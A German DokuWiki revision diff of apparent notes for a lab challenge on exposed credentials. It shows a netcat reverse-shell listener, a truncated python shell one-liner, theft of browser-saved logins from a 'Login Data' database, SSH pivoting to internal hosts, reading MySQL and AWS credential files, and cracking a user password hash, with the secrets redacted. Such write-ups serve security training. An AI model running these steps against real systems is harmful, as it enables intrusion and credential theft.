security:challenge:exposed_creds
Unterschiede
Hier werden die Unterschiede zwischen zwei Versionen angezeigt.
| Nächste Überarbeitung | Vorhergehende Überarbeitung | ||
| security:challenge:exposed_creds [2021/06/26 05:56] – angelegt wikiadm | security:challenge:exposed_creds [2021/07/03 15:50] (aktuell) – wikiadm | ||
|---|---|---|---|
| Zeile 1: | Zeile 1: | ||
| - | ====== | + | ====== |
| - | < | + | ==== Start Reverse Shell Listener ==== |
| - | python -c ' | + | |
| - | </ | + | |
| - | + | ||
| - | ====== Start Reverse Shell Listener | + | |
| < | < | ||
| + | root@kali$ | ||
| nc -l 8000 | nc -l 8000 | ||
| </ | </ | ||
| Zeile 13: | Zeile 10: | ||
| < | < | ||
| garry@desktop$ | garry@desktop$ | ||
| + | python -c ' | ||
| Ctrl-Z | Ctrl-Z | ||
| echo $TERM | echo $TERM | ||
| Zeile 19: | Zeile 17: | ||
| fg | fg | ||
| reset | reset | ||
| - | export SHELL=bash | + | --> xterm |
| - | export TERM=xterm256-color | + | |
| - | stty rows 38 columns 116 | + | |
| </ | </ | ||
| Zeile 41: | Zeile 37: | ||
| #sqlite3 Login\ Data ' | #sqlite3 Login\ Data ' | ||
| ./ | ./ | ||
| - | | + | |
| - | blokeontherange | + | b...e |
| </ | </ | ||
| - | ==== Get Bobs Password | + | ==== ssh to intern Server |
| < | < | ||
| + | garry@desktop$ | ||
| ssh 192.168.6.105 | ssh 192.168.6.105 | ||
| </ | </ | ||
| - | ==== ssh into server | + | ====== Find Bob's Password ====== |
| < | < | ||
| - | garry@desktop$ | + | garry@server-intern$ |
| - | ssh -i .ssh/id_rsa | + | python |
| + | |||
| + | cat / | ||
| + | MYSQL_ROOT_PASSWORD=t..r | ||
| + | MYSQL_USER=d..r | ||
| + | MYSQL_PASSWORD=xxx | ||
| + | MYSQL_DATABASE=xxx | ||
| + | |||
| + | cat / | ||
| + | <?php | ||
| + | $conf = [ | ||
| + | ' | ||
| + | ' | ||
| + | ' | ||
| + | ' | ||
| + | ' | ||
| + | ' | ||
| + | ]; | ||
| + | ?> | ||
| + | |||
| + | cat / | ||
| + | |||
| + | // Prepare a select statement | ||
| + | $sql = " | ||
| + | |||
| + | |||
| + | mysql -h 192.168.6.105 -u root -p intern | ||
| + | -> t..r | ||
| + | |||
| + | mysql> select * from users; | ||
| + | +----+----------+----------------------------------+---------------------+ | ||
| + | | id | username | password | ||
| + | +----+----------+----------------------------------+---------------------+ | ||
| + | | 1 | bob | xxx | 2021-06-26 10:35:43 | | ||
| + | | 2 | garry | xxx | 2021-06-26 10:35:43 | | ||
| + | +----+----------+----------------------------------+---------------------+ | ||
| + | |||
| + | google for hash | ||
| + | --> b..7 | ||
| + | </ | ||
| + | |||
| + | |||
| + | ====== Find AWS Keys ====== | ||
| + | < | ||
| + | garry@server-intern$ | ||
| + | ssh bob@192.168.6.22 | ||
| + | |||
| + | cat / | ||
| + | [default] | ||
| + | aws_access_key_id = xxx | ||
| + | aws_secret_access_key = xxx | ||
| </ | </ | ||
security/challenge/exposed_creds.1624679810.txt.gz · Zuletzt geändert: von wikiadm
